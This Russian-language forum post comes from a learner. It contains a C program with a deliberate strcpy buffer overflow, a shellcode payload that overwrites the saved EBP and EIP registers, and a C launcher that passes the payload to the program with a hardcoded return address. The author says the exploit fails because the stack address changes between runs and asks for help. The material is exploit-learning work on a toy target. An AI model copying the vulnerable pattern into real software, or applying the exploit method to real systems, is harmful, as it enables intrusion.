Код: Выделить всё
#include <stdio.h>
#include <string.h>
int overflow(char *mem){
char str[4];
(strcpy(str, mem));
return 0;
}
int main(int argc, char *argv[]){
if (argc < 2){
printf("This Is Program with Buffer Overflow.\n"
"Using: <Program Name> <String Argument>\n\n");
return 0;
}
overflow(argv[1]);
return 0;
}думаю, все видят что в функции overflow(char*) это переполнение и происходит ) .
методом "тыка" я узнал что "верхним пределом", после которого осуществляется переполнение, является длина строки mem равная 8 байтам.
далее, составил эксплойт( который просто печает на экране "!"):
Код: Выделить всё
char exploit[] = "\x01\x01\x01\x01"
"\x01\x01\x01\x01" //эти символы затрут $ebp
"\x01\x01\x01\x01" /а эти затрут $eip
"\x83\xec\x08\xc7\x04\x24\x66\x86" // сам шелл-код
"\x04\x08\xe8\xe2\xfd\xff\xff\x31"
"\xc0\xc9\xc3";далее в отладчике я узнал, что после того как я затру регистры $ESP и $EBP, шелл попадет в стек на адрес 0xbf86a5b0. потом написал сам эксплойт:
Код: Выделить всё
#include <stdio.h>
#include <unistd.h>
char exploit[] = "\x01\x01\x01\x01"
"\x01\x01\x01\x01"
"\x01\x01\x01\x01"
"\x83\xec\x08\xc7\x04\x24\x66\x86"
"\x04\x08\xe8\xe2\xfd\xff\xff\x31"
"\xc0\xc9\xc3";
int main(int argc, char *argv[]){
long RET = 0xbf86a5b0;
*(long*)(exploit+4) = RET; //запишем в $ebp и $eip нужный адрес возврата
*(long*)(exploit+8) = RET; //
char *args[3];
char progname[] = "buff_ovr";
args[0] = progname;
args[1] = exploit;
args[2] = NULL;
execv(args[0], args); //запустим программу, передав ей в качестве аргумента эксплойт.
return 0;
}а теперь самое интересное - шелл не работает))) оказывается, что он никогда не попадает на один и тот же адрес в стеке(.
пробовал пременять разную технику, посмотрел даже в Интернете, но везде почему-то используют адрес, полученный в отладчике!!!
что-то я совсем не пойму, в чем дело. может кто-нибудь обяснить как в таком случае осуществить переполнение буфера?